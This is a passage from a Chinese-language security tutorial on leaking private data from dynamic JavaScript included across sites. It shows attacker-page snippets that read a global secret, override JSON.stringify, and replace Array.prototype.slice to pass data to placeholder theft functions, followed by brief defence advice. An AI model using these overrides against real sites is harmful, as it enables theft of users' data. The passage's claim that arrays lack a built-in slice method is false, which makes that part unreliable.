(function() {
 window.secret = "345a8b7c9d8e34f5";
})();

<script src="/UploadFiles/2021-04-02/leak1.js">

当用户访问到了含有上面的恶意代码的网站的时候，此网站就会通过window对象来获取用户数据然后发送给攻击者。
重新定义全局API攻击
由于JavaScript的动态性，导致很多的函数能够被攻击者重写，即使是那些JavaScript内置的函数。如果一个动态的JavaScript脚本通过一个系统中内置函数来传递隐私数据，那么攻击者在这个函数调用之前通过重写这个函数，就可以获取到用户的隐私数据了。


假设在正常的脚本leak.js中的JavaScript的代码如下：


(function() {
 var secret = "345a8b7c9d8e34f5";

 JSON.stringify(secret);
})();


可以发现，在这个代码中，调用了JavaScript语言中自带了的JSON.sttringify()的方法。而这个方法完全是可以被黑客所利用的。


以下是恶意站点中的代码：


<script type="text/javascript">
 JSON.stringify = function (user_data) {
  sendstolendata(user_data);
 }
</script>
<script type="text/javascript" src="/UploadFiles/2021-04-02/leak.js">

当用户访问此站点的时候，由于JSON.strinify()方法已经被攻击者重写了，所以当导入的leak.js的中的代码执行，调用JSON.stringify()的方法的时候，实际上调用的是攻击者所写的方法。这样用户的信息就会被窃取了。
原型篡改
正如之前说过的一样，javaScript是基于原型链的。当访问对象的一个属性的时候，JavaScript解释器会通过原型链来进行寻找，直到找到这个属性为止。在下面的这段代码中，我们就会对这个问题有一个清晰的认识了。


假设在正常的脚本leak.js中的JavaScript的代码如下:


(function(){
 var arr = ["secret1","secret2","secret3"];
 var x = arr.slice();
})();


从代码中可以看到，在arr数组中存在了3个与用户有关的隐私数据。然后arr实例调用了slice()方法。很明显这个方法是不存在的。因为arr实例本身没有创建和声明这个方法，同时在Array对象中也没有这个方法。但是当出现一个这样的情况的时候，程序并没有报错，只是说明这个slice方法不存在而已。所以在这样的情况下，可能程序员也并不知道他所创建的arr实例有调用slice()这样的一个方法。那么上面的这段代码就很有可能会被攻击者所利用。


以下是恶意站点的代码：


<script type="text/javascript">
Array.prototype.slice = function() {
 //send data to attacker
 sendToAttackBackend(this);
}
</script>
<script type="text/javascript" src="/UploadFiles/2021-04-02/leak.js">

当用户访问到这个含有恶意代码的网站的时候，导入的leak.js中的JavaScript要执行slice方法执行的时候，就会调用攻击者为Array添加的slice方法，这样敏感数据就会发送到攻击者了。
防范
开发人员在进行网站开发的时候，最好是将代码与数据分开。敏感和重要的数据应该保存在单独的文件中，这样这些文件就不会被浏览器当作JavaScript来执行了。同时还需要为这些静态资源设置访问权限，只要在用户登录之后才可以访问，在这种情况下攻击者即使引入了这个静态资源也无法访问这个数据。
总结
以上就是关于动态JavaScript所造成危害的全部内容了，希望这篇文章能对大家的学习或者工作带来一定的帮助，如果有疑问大家可以留言交流。

                                
                                

                                    javascript,动态参数,javascript,动态加载,javascript动态加载js 
                                
DDR爱好者之家 Design By 杰米